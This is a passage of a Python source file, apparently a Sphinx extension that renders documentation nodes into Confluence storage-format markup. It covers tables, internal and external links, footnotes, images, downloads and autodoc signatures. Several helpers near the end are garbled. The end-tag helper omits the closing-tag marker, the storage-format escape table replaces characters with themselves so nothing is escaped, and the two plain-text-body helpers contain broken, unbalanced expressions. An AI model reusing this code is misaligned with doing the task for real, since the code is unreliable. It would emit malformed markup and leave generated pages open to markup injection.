context\"\n # keeps track of whether or not an cell/entry being written is of the\n # proper type. A context list is needed to support nested tables.\n self._thead_context.append(False)\n\n def depart_table(self, node):\n self.body.append(self.context.pop()) # table\n self._thead_context.pop()\n\n def visit_tgroup(self, node):\n pass\n\n def depart_tgroup(self, node):\n pass\n\n def visit_thead(self, node):\n self._thead_context.append(True) # thead context (see visit_table)\n self.body.append(self._start_tag(node, 'thead', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_thead(self, node):\n self.body.append(self.context.pop()) # thead context (see visit_table)\n self._thead_context.pop()\n\n def visit_tbody(self, node):\n self.body.append(self._start_tag(node, 'tbody', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_tbody(self, node):\n self.body.append(self.context.pop()) # tbody\n\n def visit_row(self, node):\n self.body.append(self._start_tag(node, 'tr', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_row(self, node):\n self.body.append(self.context.pop()) # tr\n\n def visit_entry(self, node):\n if self._thead_context[-1]:\n target_tag = 'th'\n else:\n target_tag = 'td'\n\n attribs = {}\n if 'morecols' in node:\n attribs['colspan'] = node['morecols'] + 1\n if 'morerows' in node:\n attribs['rowspan'] = node['morerows'] + 1\n\n self.body.append(self._start_tag(node, target_tag, **attribs))\n self.context.append(self._end_tag(node))\n\n def depart_entry(self, node):\n self.body.append(self.context.pop()) # td/th\n\n def visit_tabular_col_spec(self, node):\n raise nodes.SkipNode\n\n def visit_colspec(self, node):\n raise nodes.SkipNode\n\n # -------------------\n # references - common\n # -------------------\n\n def visit_reference(self, node):\n # nested references should never happen\n assert(not self._reference_context)\n\n if 'iscurrent' in node:\n pass\n elif ((not 'internal' in node or not node['internal'])\n and 'refuri' in node):\n # If a document provides an anchor target directly in the reference,\n # attempt to extract the anchor value and pass it into the internal\n # reference processing instead.\n if node['refuri'].startswith('#'):\n node['refid'] = node['refuri'][1:]\n del node['refuri']\n self._visit_reference_intern_id(node)\n else:\n self._visit_reference_extern(node)\n elif 'refid' in node:\n self._visit_reference_intern_id(node)\n elif 'refuri' in node:\n self._visit_reference_intern_uri(node)\n\n def _visit_reference_extern(self, node):\n uri = node['refuri']\n uri = self._escape_sf(uri)\n\n self.body.append(self._start_tag(node, 'a', **{'href': uri}))\n self._reference_context.append(self._end_tag(node, suffix=''))\n\n def _visit_reference_intern_id(self, node):\n anchor = ''.join(node['refid'].split())\n\n # check if this target is reachable without an anchor; if so, use the\n # identifier value instead\n target_name = '{}#{}'.format(self.docname, anchor)\n target = ConfluenceState.target(target_name)\n if target:\n anchor_value = target\n anchor_value = self._escape_sf(anchor_value)\n elif not self.can_anchor:\n anchor_value = None\n else:\n anchor_value = anchor\n\n is_citation = ('ids' in node and node['ids']\n and 'internal' in node and node['internal'])\n\n if is_citation and anchor_value:\n # build an anchor for back reference\n self.body.append(self._start_ac_macro(node, 'anchor'))\n self.body.append(self._build_ac_parameter(node, '', node['ids'][0]))\n self.body.append(self._end_ac_macro(node))\n\n if is_citation:\n self.body.append(self._start_tag(node, 'sup'))\n\n if anchor_value:\n # build link to internal anchor (on the same page)\n # Note: plain-text-link body cannot have inline markup; content\n # will be added into body already and skip-children should be\n # invoked for this use case.\n self.body.append(self._start_ac_link(node, anchor_value))\n self.body.append(self._start_ac_link_body(node))\n self._reference_context.append(self._end_ac_link_body(node))\n self._reference_context.append(self._end_ac_link(node))\n\n if is_citation:\n self._reference_context.append(self._end_tag(node, suffix='')) # sup\n\n def _visit_reference_intern_uri(self, node):\n docname = posixpath.normpath(\n self.docparent + path.splitext(node['refuri'].split('#')[0])[0])\n doctitle = ConfluenceState.title(docname)\n if not doctitle:\n ConfluenceLogger.warn('unable to build link to document due to '\n 'missing title (in {}): {}'.format(self.docname, docname))\n\n # build a broken link\n self.body.append(self._start_tag(node, 'a', **{'href': '#'}))\n self._reference_context.append(self._end_tag(node, suffix=''))\n return\n\n anchor_value = None\n if '#' in node['refuri']:\n anchor = node['refuri'].split('#')[1]\n target_name = '{}#{}'.format(docname, anchor)\n\n # check if this target is reachable without an anchor; if so, use\n # the identifier value instead\n target = ConfluenceState.target(target_name)\n if target:\n anchor_value = target\n anchor_value = self._escape_sf(anchor_value)\n elif self.can_anchor:\n anchor_value = anchor\n\n # build link to internal anchor (on another page)\n # Note: plain-text-link body cannot have inline markup; add the node\n # contents into body and skip processing the rest of this node.\n doctitle = self._escape_sf(doctitle)\n self.body.append(self._start_ac_link(node, anchor_value))\n self.body.append(self._start_tag(node, 'ri:page',\n suffix=self.nl, empty=True, **{'ri:content-title': doctitle}))\n self.body.append(self._start_ac_link_body(node))\n self._reference_context.append(self._end_ac_link_body(node))\n self._reference_context.append(self._end_ac_link(node))\n\n def depart_reference(self, node):\n for element in self._reference_context:\n self.body.append(element)\n self._reference_context = []\n\n def visit_target(self, node):\n if 'refid' in node and self.can_anchor:\n anchor = ''.join(node['refid'].split())\n\n # only build an anchor if required (e.x. is a reference label\n # already provided by a build section element)\n target_name = '{}#{}'.format(self.docname, anchor)\n target = ConfluenceState.target(target_name)\n if not target:\n self.body.append(self._start_ac_macro(node, 'anchor'))\n self.body.append(self._build_ac_parameter(node, '', anchor))\n self.body.append(self._end_ac_macro(node))\n\n raise nodes.SkipNode\n\n # --------------------------------\n # references - footnotes/citations\n # --------------------------------\n\n def visit_footnote(self, node):\n label_node = node.next_node()\n if not isinstance(label_node, nodes.label):\n raise nodes.SkipNode\n\n # if the first foonote/citation, start building a table\n if not self._building_footnotes:\n self.body.append(self._start_tag(node, 'table', suffix=self.nl))\n self.context.append(self._end_tag(node))\n self.body.append(self._start_tag(node, 'tbody', suffix=self.nl))\n self.context.append(self._end_tag(node))\n self._building_footnotes = True\n\n label_text = label_node.astext()\n\n self.body.append(self._start_tag(node, 'tr', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n self.body.append(self._start_tag(node, 'td'))\n\n # footnote anchor\n if self.can_anchor:\n self.body.append(self._start_ac_macro(node, 'anchor'))\n self.body.append(self._build_ac_parameter(node, '', node['ids'][0]))\n self.body.append(self._end_ac_macro(node))\n\n # footnote label and back reference(s)\n if (not self.can_anchor\n or 'backrefs' not in node or not node['backrefs']):\n label_text = self._escape_sf(label_text)\n self.body.append(label_text)\n elif len(node['backrefs']) > 1:\n label_text = self._escape_sf(label_text)\n self.body.append(label_text)\n\n self.body.append(self._start_tag(node, 'div'))\n self.body.append(self._start_tag(node, 'em'))\n self.body.append('(')\n\n for idx, backref in enumerate(node['backrefs']):\n if idx != 0:\n self.body.append(', ')\n self.body.append(self._start_ac_link(node, backref))\n self.body.append(\n self._start_ac_plain_text_link_body_macro(node))\n self.body.append(self._escape_cdata(str(idx + 1)))\n self.body.append(self._end_ac_plain_text_link_body_macro(node))\n self.body.append(self._end_ac_link(node))\n self.body.append(')')\n self.body.append(self._end_tag(node, suffix='')) # em\n self.body.append(self._end_tag(node)) # div\n else:\n self.body.append(self._start_ac_link(node, node['backrefs'][0]))\n self.body.append(self._start_ac_plain_text_link_body_macro(node))\n self.body.append(self._escape_cdata(label_text))\n self.body.append(self._end_ac_plain_text_link_body_macro(node))\n self.body.append(self._end_ac_link(node))\n self.body.append(self._end_tag(node))\n\n self.body.append(self._start_tag(node, 'td'))\n self.context.append(self._end_tag(node))\n\n def depart_footnote(self, node):\n self.body.append(self.context.pop()) # td\n self.body.append(self.context.pop()) # tr\n\n # if next entry is not another footnote or citation, close off the table\n next_sibling = node.traverse(\n include_self=False, descend=False, siblings=True)\n if not next_sibling or not isinstance(\n next_sibling[0], (nodes.citation, nodes.footnote)):\n self.body.append(self.context.pop()) # tbody\n self.body.append(self.context.pop()) # table\n self._building_footnotes = False\n\n def visit_footnote_reference(self, node):\n text = \"[{}]\".format(node.astext())\n\n if not self.can_anchor:\n self.body.append(self._start_tag(node, 'sup'))\n self.body.append(self._escape_sf(text))\n self.body.append(self._end_tag(node, suffix='')) # sup\n raise nodes.SkipNode\n\n # build an anchor for back reference\n self.body.append(self._start_ac_macro(node, 'anchor'))\n self.body.append(self._build_ac_parameter(node, '', node['ids'][0]))\n self.body.append(self._end_ac_macro(node))\n\n # link to anchor\n target_anchor = ''.join(node['refid'].split())\n\n self.body.append(self._start_tag(node, 'sup'))\n self.body.append(self._start_ac_link(node, target_anchor))\n self.body.append(self._start_ac_plain_text_link_body_macro(node))\n self.body.append(self._escape_cdata(text))\n self.body.append(self._end_ac_plain_text_link_body_macro(node))\n self.body.append(self._end_ac_link(node))\n self.body.append(self._end_tag(node, suffix='')) # sup\n raise nodes.SkipNode\n\n def visit_label(self, node):\n # Label entries are skipped as their context has been already processed\n # from within footnote/citation processing (see visit_footnote).\n raise nodes.SkipNode\n\n visit_citation = visit_footnote\n depart_citation = depart_footnote\n\n # -------------\n # inline markup\n # -------------\n\n def visit_emphasis(self, node):\n self.body.append(self._start_tag(node, 'em'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_emphasis(self, node):\n self.body.append(self.context.pop()) # em\n\n def visit_literal(self, node):\n self.body.append(self._start_tag(node, 'code'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_literal(self, node):\n self.body.append(self.context.pop()) # code\n\n def visit_strong(self, node):\n self.body.append(self._start_tag(node, 'strong'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_strong(self, node):\n self.body.append(self.context.pop()) # strong\n\n def visit_subscript(self, node):\n self.body.append(self._start_tag(node, 'sub'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_subscript(self, node):\n self.body.append(self.context.pop()) # sub\n\n def visit_superscript(self, node):\n self.body.append(self._start_tag(node, 'sup'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_superscript(self, node):\n self.body.append(self.context.pop()) # sup\n\n visit_literal_emphasis = visit_emphasis\n depart_literal_emphasis = depart_emphasis\n visit_literal_strong = visit_strong\n depart_literal_strong = depart_strong\n visit_title_reference = visit_emphasis\n depart_title_reference = depart_emphasis\n\n # -------------\n # images markup\n # -------------\n\n def visit_caption(self, node):\n attribs = {}\n if 'align' in node.parent and node.parent['align'] == 'center':\n attribs['style'] = 'text-align: center;'\n\n self.body.append(self._start_tag(node, 'p', **attribs))\n self.context.append(self._end_tag(node))\n\n def depart_caption(self, node):\n self.body.append(self.context.pop()) # p\n\n def visit_figure(self, node):\n if self.can_admonition:\n self.body.append(self._start_ac_macro(node, 'info'))\n self.body.append(self._build_ac_parameter(node, 'icon', 'false'))\n self.body.append(self._start_ac_rich_text_body_macro(node))\n self.context.append(self._end_ac_rich_text_body_macro(node) +\n self._end_ac_macro(node))\n else:\n self.body.append(self._start_tag(\n node, 'hr', suffix=self.nl, empty=True))\n self.body.append(self._start_tag(node, 'div'))\n self.context.append(self._end_tag(node) + self._start_tag(\n node, 'hr', suffix=self.nl, empty=True))\n\n def depart_figure(self, node):\n self.body.append(self.context.pop()) # \n\n def visit_image(self, node):\n uri = node['uri']\n uri = self._escape_sf(uri)\n\n attribs = {}\n\n alignment = None\n if 'align' in node:\n alignment = node['align']\n elif isinstance(node.parent, nodes.figure) and 'align' in node.parent:\n alignment = node.parent['align']\n\n if alignment:\n alignment = self._escape_sf(alignment)\n attribs['ac:align'] = alignment\n if alignment == 'right':\n attribs['ac:style'] = 'float: right;'\n\n if 'alt' in node:\n alt = node['alt']\n alt = self._escape_sf(alt)\n attribs['ac:alt'] = alt\n\n if 'height' in node:\n self.warn('height value for image is unsupported in confluence')\n\n if 'width' in node:\n width = node['width']\n attribs['ac:width'] = width\n\n if not width.endswith('px'):\n self.warn('unsupported unit type for confluence: ' + width)\n\n if uri.find('://') != -1 or uri.startswith('data:'):\n # an external or embedded image\n #\n # Note: it would be rare that embedded images will be detected at\n # this stage as Sphinx's post-transform processor would\n # translate these images into embedded images. Nonetheless an\n # embedded image is still stacked into Confluence image\n # entity (although, currently, some (if not all) Confluence\n # versions do not consider embedded images as valid URI values\n # so users might see a \"broken images\" block).\n self.body.append(self._start_ac_image(node, **attribs))\n self.body.append(self._start_tag(node, 'ri:url',\n suffix=self.nl, empty=True, **{'ri:value': uri}))\n self.body.append(self._end_ac_image(node))\n else:\n image_key, _ = self.assets.interpretAssetKeyPath(node)\n hosting_docname = self.assets.asset2docname(image_key)\n hosting_doctitle = ConfluenceState.title(hosting_docname)\n hosting_doctitle = self._escape_sf(hosting_doctitle)\n\n self.body.append(self._start_ac_image(node, **attribs))\n self.body.append(self._start_ri_attachment(node, image_key))\n if hosting_docname != self.docname:\n self.body.append(self._start_tag(node, 'ri:page',\n suffix=self.nl, empty=True,\n **{'ri:content-title': hosting_doctitle}))\n self.body.append(self._end_ri_attachment(node))\n self.body.append(self._end_ac_image(node))\n\n raise nodes.SkipNode\n\n visit_legend = visit_paragraph\n depart_legend = depart_paragraph\n\n # ------------------\n # sphinx -- download\n # ------------------\n\n def visit_download_reference(self, node):\n uri = node['reftarget']\n uri = self._escape_sf(uri)\n\n if uri.find('://') != -1:\n self.body.append(self._start_tag(node, 'a', **{'href': uri}))\n self.context.append(self._end_tag(node, suffix=''))\n else:\n file_key, _ = self.assets.interpretAssetKeyPath(node)\n hosting_docname = self.assets.asset2docname(file_key)\n hosting_doctitle = ConfluenceState.title(hosting_docname)\n hosting_doctitle = self._escape_sf(hosting_doctitle)\n\n # If the view-file macro is permitted along with it not being an\n # explicitly referenced asset.\n if self.can_viewfile and (not 'refexplicit' in node or\n not node['refexplicit']):\n # a 'view-file' macro takes an attachment tag as a body; build\n # the tags in an interim list\n attachment = []\n attachment.append(self._start_ri_attachment(node, file_key))\n if hosting_docname != self.docname:\n attachment.append(self._start_tag(node, 'ri:page',\n suffix=self.nl, empty=True,\n **{'ri:content-title': hosting_doctitle}))\n attachment.append(self._end_ri_attachment(node))\n\n self.body.append(self._start_ac_macro(node, 'view-file'))\n self.body.append(self._build_ac_parameter(\n node, 'name', ''.join(attachment)))\n self.body.append(self._end_ac_macro(node))\n else:\n self.body.append(self._start_ac_link(node))\n self.body.append(self._start_ri_attachment(node, file_key))\n if hosting_docname != self.docname:\n self.body.append(self._start_tag(node, 'ri:page',\n suffix=self.nl, empty=True,\n **{'ri:content-title': hosting_doctitle}))\n self.body.append(self._end_ri_attachment(node))\n self.body.append(\n self._start_ac_plain_text_link_body_macro(node))\n self.body.append(self._escape_cdata(node.astext()))\n self.body.append(self._end_ac_plain_text_link_body_macro(node))\n self.body.append(self._end_ac_link(node))\n\n raise nodes.SkipNode\n\n # ------------------\n # sphinx -- glossary\n # ------------------\n\n def visit_glossary(self, node):\n # ignore glossary wrapper; glossary is built with definition_list\n pass\n\n def depart_glossary(self, node):\n pass\n\n def visit_index(self, node):\n # glossary index information is not needed; skipped\n raise nodes.SkipNode\n\n # -----------------\n # sphinx -- manpage\n # -----------------\n\n def visit_manpage(self, node):\n self.visit_emphasis(node)\n if self._manpage_url:\n node['refuri'] = self._manpage_url.format(**node.attributes)\n self._visit_reference_extern(node)\n\n def depart_manpage(self, node):\n if self._manpage_url:\n self.depart_reference(node)\n self.depart_emphasis(node)\n\n # --------------\n # sphinx -- math\n # --------------\n\n def visit_math(self, node):\n # unsupported\n raise nodes.SkipNode\n\n def visit_displaymath(self, node):\n # unsupported\n raise nodes.SkipNode\n\n def visit_eqref(self, node):\n # unsupported\n raise nodes.SkipNode\n\n # -------------------------\n # sphinx -- production list\n # -------------------------\n\n def visit_productionlist(self, node):\n max_len = max(len(production['tokenname']) for production in node)\n\n self.body.append(self._start_tag(node, 'pre'))\n\n for production in node:\n if production['tokenname']:\n formatted_token = production['tokenname'].ljust(max_len)\n formatted_token = self._escape_sf(formatted_token)\n self.body.append('{} ::='.format(formatted_token))\n lastname = production['tokenname']\n else:\n self.body.append('{} '.format(' ' * len(lastname)))\n text = production.astext()\n text = self._escape_sf(text)\n self.body.append(text + self.nl)\n\n self.body.append(self._end_tag(node))\n raise nodes.SkipNode\n\n # -----------------\n # sphinx -- toctree\n # -----------------\n\n def visit_compound(self, node):\n # If this has not been a manipulated toctree (refer to hierarchy mode\n # and see builder's process_tree_structure) and the invoker wishes to\n # use Confluence children macro instead, swap out of the toctree for the\n # macro.\n if 'toctree-wrapper' in node['classes']:\n if self.apply_hierarchy_children_macro:\n self.body.append(self._start_ac_macro(node, 'children'))\n if self._tocdepth:\n self.body.append(self._build_ac_parameter(\n node, 'depth', str(self._tocdepth)))\n else:\n self.body.append(self._build_ac_parameter(\n node, 'all', 'true'))\n self.body.append(self._end_ac_macro(node))\n raise nodes.SkipNode\n\n def depart_compound(self, node):\n pass\n\n # -----------------------\n # sphinx -- miscellaneous\n # -----------------------\n\n def visit_rubric(self, node):\n self.body.append(self._start_tag(node, 'h{}'.format(self._title_level)))\n self.context.append(self._end_tag(node))\n\n def depart_rubric(self, node):\n self.body.append(self.context.pop()) # h\n\n def visit_seealso(self, node):\n self._visit_admonition(node, 'info', admonitionlabels['seealso'])\n\n depart_seealso = _depart_admonition\n\n def visit_versionmodified(self, node):\n if node['type'] == 'deprecated' or node['type'] == 'versionchanged':\n self._visit_note(node)\n elif node['type'] == 'versionadded':\n self._visit_info(node)\n else:\n ConfluenceLogger.warn('unsupported version modification type: '\n '{}'.format(node['type']))\n self._visit_info(node)\n\n depart_versionmodified = _depart_admonition\n\n # ------------------------------\n # sphinx -- extension -- autodoc\n # ------------------------------\n\n def visit_desc(self, node):\n self.body.append(self._start_tag(node, 'dl', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_desc(self, node):\n self.body.append(self.context.pop()) # dl\n\n def visit_desc_signature(self, node):\n self.body.append(self._start_tag(node, 'dt'))\n self.context.append(self._end_tag(node))\n\n def depart_desc_signature(self, node):\n self.body.append(self.context.pop()) # dt\n\n def visit_desc_annotation(self, node):\n self.body.append(self._start_tag(node, 'em'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_desc_annotation(self, node):\n self.body.append(self.context.pop()) # em\n\n def visit_desc_addname(self, node):\n self.body.append(self._start_tag(node, 'code'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_desc_addname(self, node):\n self.body.append(self.context.pop()) # code\n\n def visit_desc_name(self, node):\n self.body.append(self._start_tag(node, 'strong'))\n self.context.append(self._end_tag(node, suffix=''))\n self.body.append(self._start_tag(node, 'code'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_desc_name(self, node):\n self.body.append(self.context.pop()) # code\n self.body.append(self.context.pop()) # strong\n\n def visit_desc_type(self, node):\n pass\n\n def depart_desc_type(self, node):\n pass\n\n def visit_desc_returns(self, node):\n self.body.append(' -> ')\n\n def depart_desc_returns(self, node):\n pass\n\n def visit_desc_optional(self, node):\n self.body.append('[')\n\n def depart_desc_optional(self, node):\n self.body.append(']')\n\n def visit_desc_parameterlist(self, node):\n self._first_desc_parameter = True\n self.body.append('(')\n\n def depart_desc_parameterlist(self, node):\n self.body.append(')')\n\n def visit_desc_parameter(self, node):\n if self._first_desc_parameter:\n self._first_desc_parameter = False\n else:\n self.body.append(', ')\n\n self.body.append(self._start_tag(node, 'em'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_desc_parameter(self, node):\n self.body.append(self.context.pop()) # em\n\n def visit_desc_content(self, node):\n self.body.append(self._start_tag(node, 'dd'))\n self.context.append(self._end_tag(node))\n\n def depart_desc_content(self, node):\n self.body.append(self.context.pop()) # dd\n\n # -----------------------------------------------------\n # docutils handling \"to be completed\" marked directives\n # -----------------------------------------------------\n\n def visit_citation_reference(self, node):\n raise nodes.SkipNode\n\n def visit_compact_paragraph(self, node):\n pass\n\n def depart_compact_paragraph(self, node):\n pass\n\n def visit_container(self, node):\n pass\n\n def depart_container(self, node):\n pass\n\n def visit_generated(self, node):\n pass\n\n def depart_generated(self, node):\n pass\n\n def visit_pending_xref(self, node):\n raise nodes.SkipNode\n\n def visit_problematic(self, node):\n raise nodes.SkipNode\n\n def visit_system_message(self, node):\n raise nodes.SkipNode\n\n # -------------\n # miscellaneous\n # -------------\n\n def visit_abbreviation(self, node):\n attribs = {}\n if 'explanation' in node:\n title_value = node['explanation']\n title_value = self._escape_sf(title_value)\n attribs['title'] = title_value\n\n self.body.append(self._start_tag(node, 'abbr', **attribs))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_abbreviation(self, node):\n self.body.append(self.context.pop()) # abbr\n\n def visit_acks(self, node):\n raise nodes.SkipNode\n\n def visit_acronym(self, node):\n # Note: docutils indicates this directive is \"to be completed\"\n\n self.body.append(self._start_tag(node, 'acronym'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_acronym(self, node):\n self.body.append(self.context.pop()) # acronym\n\n def visit_centered(self, node):\n # centered is deprecated; ignore\n pass\n\n def depart_centered(self, node):\n pass\n\n def visit_comment(self, node):\n raise nodes.SkipNode\n\n def visit_hlist(self, node):\n # unsupported\n raise nodes.SkipNode\n\n def visit_inline(self, node):\n # ignoring; no need to handle specific inline entries\n pass\n\n def depart_inline(self, node):\n pass\n\n def visit_line(self, node):\n # ignoring; no need to handle specific line entries\n pass\n\n def depart_line(self, node):\n pass\n\n def visit_line_block(self, node):\n self.body.append(self._start_tag(node, 'p'))\n self.context.append(self._end_tag(node))\n\n def depart_line_block(self, node):\n self.body.append(self.context.pop()) # p\n\n def visit_raw(self, node):\n if 'confluence' in node.get('format', '').split():\n self.body.append(self.nl.join(node.astext().splitlines()))\n raise nodes.SkipNode\n\n def visit_sidebar(self, node):\n # unsupported\n raise nodes.SkipNode\n\n def visit_substitution_definition(self, node):\n raise nodes.SkipNode\n\n def visit_start_of_file(self, node):\n # ignore managing state of inlined documents\n pass\n\n def depart_start_of_file(self, node):\n pass\n\n # ##########################################################################\n # # #\n # # helpers #\n # # #\n # ##########################################################################\n\n def _start_tag(self, node, tag, suffix=None, empty=False, **kwargs):\n \"\"\"\n generates start tag content for a given node\n\n A helper used to return content to be appended to a document which\n initializes the start of a storage format element (i.e. generates a\n start tag). The element of type `tag` will be initialized. This method\n may use provided `node` to tweak the final content.\n\n Args:\n node: the node processing the start-tag\n tag: the type of tag\n suffix (optional): the suffix to add (defaults to nothing)\n empty (optional): tag will not hold child nodes (defaults to False)\n **kwargs (optional): dictionary of attributes to include in the tag\n\n Returns:\n the content\n \"\"\"\n tag = tag.lower()\n data = [tag]\n\n attribs = {}\n for key, value in kwargs.items():\n attribs[key.lower()] = value\n\n for key, value in sorted(attribs.items()):\n data.append('{}=\"{}\"'.format(key, value))\n\n if suffix is None:\n suffix = ''\n\n suffix = '>' + suffix\n if empty:\n suffix = ' /' + suffix\n else:\n try:\n node.__confluence_tag.append(tag)\n except AttributeError:\n node.__confluence_tag = [tag]\n\n return '<{}{}'.format(' '.join(data), suffix)\n\n def _end_tag(self, node, suffix=None):\n \"\"\"\n generates end tag content for a given node\n\n A helper used to return content to be appended to a document which\n finalizes a storage format element (i.e. generates an end tag). This\n method should* be used to help close a _start_tag call (*with the\n exception of when _start_tag is invoked with empty=True).\n\n Args:\n node: the node processing the end-tag\n suffix (optional): the suffix to add (defaults to newline)\n\n Returns:\n the content\n \"\"\"\n try:\n tag = node.__confluence_tag.pop()\n except:\n raise ConfluenceError('end tag invoke without matching start tag')\n\n if suffix is None:\n suffix = self.nl\n\n return '{}'.format(tag, suffix)\n\n def _build_ac_parameter(self, node, name, value):\n \"\"\"\n generates a confluence parameter element\n\n A helper used to return content to be appended to a document which\n builds a complete storage format parameter element. The 'ac:parameter'\n element will be built. This method may use provided `node` to tweak the\n final content.\n\n Args:\n node: the node processing the parameter\n name: the parameter name\n value: the value for the parameter\n\n Returns:\n the content\n \"\"\"\n return (self._start_tag(node, 'ac:parameter', **{'ac:name': name}) +\n value + self._end_tag(node))\n\n def _start_ac_image(self, node, **kwargs):\n \"\"\"\n generates a confluence image start tag\n\n A helper used to return content to be appended to a document which\n initializes the start of a storage format image element. The 'ac:image'\n element will be initialized. This method may use provided `node` to\n tweak the final content.\n\n Args:\n node: the node processing the image\n\n Returns:\n the content\n \"\"\"\n return self._start_tag(node, 'ac:image', suffix=self.nl, **kwargs)\n\n def _end_ac_image(self, node):\n \"\"\"\n generates confluence image end tag content for a node\n\n A helper used to return content to be appended to a document which\n finalizes a storage format image element. This method should be used to\n help close a _start_ac_image call.\n\n Args:\n node: the node processing the image\n\n Returns:\n the content\n \"\"\"\n return self._end_tag(node, suffix='')\n\n def _start_ac_link(self, node, anchor=None):\n \"\"\"\n generates a confluence link start tag\n\n A helper used to return content to be appended to a document which\n initializes the start of a storage format link element of a specific\n `type`. The 'ac:link' element will be initialized. This method may use\n provided `node` to tweak the final content.\n\n Args:\n node: the node processing the link\n anchor (optional): the anchor value to use (defaults to None)\n\n Returns:\n the content\n \"\"\"\n attribs = {}\n if anchor:\n attribs['ac:anchor'] = anchor\n return self._start_tag(node, 'ac:link', suffix=self.nl, **attribs)\n\n def _end_ac_link(self, node):\n \"\"\"\n generates confluence link end tag content for a node\n\n A helper used to return content to be appended to a document which\n finalizes a storage format link element. This method should be used to\n help close a _start_ac_link call.\n\n Args:\n node: the node processing the link\n\n Returns:\n the content\n \"\"\"\n return self._end_tag(node, suffix='')\n\n def _start_ac_macro(self, node, type, empty=False):\n \"\"\"\n generates a confluence macro start tag\n\n A helper used to return content to be appended to a document which\n initializes the start of a storage format macro element of a specific\n `type`. The 'ac:structured-macro' element will be initialized. This\n method may use provided `node` to tweak the final content.\n\n Args:\n node: the node processing the macro\n type: the type of macro\n empty (optional): tag will not hold child nodes (defaults to False)\n\n Returns:\n the content\n \"\"\"\n return self._start_tag(node, 'ac:structured-macro',\n suffix=self.nl, empty=empty, **{'ac:name': type})\n\n def _end_ac_macro(self, node):\n \"\"\"\n generates confluence macro end tag content for a node\n\n A helper used to return content to be appended to a document which\n finalizes a storage format macro element. This method should* be used to\n help close a _start_ac_macro call (*with the exception of when\n _start_ac_macro is invoked with empty=True).\n\n Args:\n node: the node processing the macro\n\n Returns:\n the content\n \"\"\"\n return self._end_tag(node)\n\n def _start_ac_link_body(self, node):\n \"\"\"\n generates a confluence link-body start tag\n\n A helper used to return content to be appended to a document which\n initializes the start of a storage format link-body element. The\n 'ac:link-body' element will be initialized. This method may use provided\n `node` to tweak the final content.\n\n Args:\n node: the node processing the macro\n\n Returns:\n the content\n \"\"\"\n return self._start_tag(node, 'ac:link-body')\n\n def _end_ac_link_body(self, node):\n \"\"\"\n generates confluence link-body end tag content for a node\n\n A helper used to return content to be appended to a document which\n finalizes a storage format link-body element. This method should be used\n to help close a _start_ac_link_body call.\n\n Args:\n node: the node processing the macro\n\n Returns:\n the content\n \"\"\"\n return self._end_tag(node)\n\n def _start_ac_rich_text_body_macro(self, node):\n \"\"\"\n generates a confluence rich-text-body start tag\n\n A helper used to return content to be appended to a document which\n initializes the start of a storage format rich-text-body element. The\n 'ac:rich-text-body' element will be initialized. This method may use\n provided `node` to tweak the final content.\n\n Args:\n node: the node processing the macro\n\n Returns:\n the content\n \"\"\"\n return self._start_tag(node, 'ac:rich-text-body', suffix=self.nl)\n\n def _end_ac_rich_text_body_macro(self, node):\n \"\"\"\n generates confluence rich-text-body end tag content for a node\n\n A helper used to return content to be appended to a document which\n finalizes a storage format rich-text-body element. This method should\n be used to help close a _start_ac_rich_text_body_macro call.\n\n Args:\n node: the node processing the macro\n\n Returns:\n the content\n \"\"\"\n return self._end_tag(node)\n\n def _start_ac_plain_text_body_macro(self, node):\n \"\"\"\n generates a confluence plain-text-body start tag\n\n A helper used to return content to be appended to a document which\n initializes the start of a storage format plain-text-body element. The\n 'ac:plain-text-body' element will be initialized. This method may use\n provided `node` to tweak the final content.\n\n Args:\n node: the node processing the macro\n\n Returns:\n the content\n \"\"\"\n return self._start_tag(node, 'ac:plain-text-body', suffix='' + self._end_tag(node)\n\n def _start_ac_plain_text_link_body_macro(self, node):\n \"\"\"\n generates a confluence plain-text-link-body start tag\n\n A helper used to return content to be appended to a document which\n initializes the start of a storage format plain-text-body element. The\n 'ac:plain-text-body' element will be initialized. This method may use\n provided `node` to tweak the final content.\n\n Args:\n node: the node processing the macro\n\n Returns:\n the content\n \"\"\"\n return self._start_tag(node, 'ac:plain-text-link-body',\n suffix='' + self._end_tag(node)\n\n def _start_ri_attachment(self, node, filename):\n \"\"\"\n generates a confluence attachment start tag\n\n A helper used to return content to be appended to a document which\n initializes the start of a storage format attachment element. The\n 'ri:attachment' element will be initialized. This method may use\n provided `node` to tweak the final content.\n\n Args:\n node: the node processing the attachment\n filename: the filename of the attachment\n\n Returns:\n the content\n \"\"\"\n return self._start_tag(node, 'ri:attachment',\n **{'ri:filename': filename})\n\n def _end_ri_attachment(self, node):\n \"\"\"\n generates confluence attachment end tag content for a node\n\n A helper used to return content to be appended to a document which\n finalizes a storage format attachment element. This method should be\n used to help close a _start_ri_attachment call.\n\n Args:\n node: the node processing the attachment\n\n Returns:\n the content\n \"\"\"\n return self._end_tag(node)\n\n def _escape_cdata(self, data):\n \"\"\"\n escapes text to be inserted into a cdata\n\n A helper used to return content that has been properly escaped and can\n be directly placed inside a CDATA container.\n\n Args:\n data: the text\n\n Returns:\n the escaped text\n \"\"\"\n return data.replace(']]>', ']]]]>')\n\n def _escape_sf(self, data):\n \"\"\"\n escapes text to be inserted directly into a storage format area\n\n A helper used to return content that has been properly escaped and can\n be directly placed inside a Confluence storage-format-prepared document.\n\n Args:\n data: the text\n\n Returns:\n the escaped text\n \"\"\"\n STORAGE_FORMAT_REPLACEMENTS = {\n ('<', '<'),\n ('>', '>'),\n ('\"', '"'),\n (\"'\", '''),\n }\n\n # first pass needs to handle ampersand\n data = data.replace('&', '&')\n\n for find, encoded in STORAGE_FORMAT_REPLACEMENTS:\n data = data.replace(find, encoded)\n return 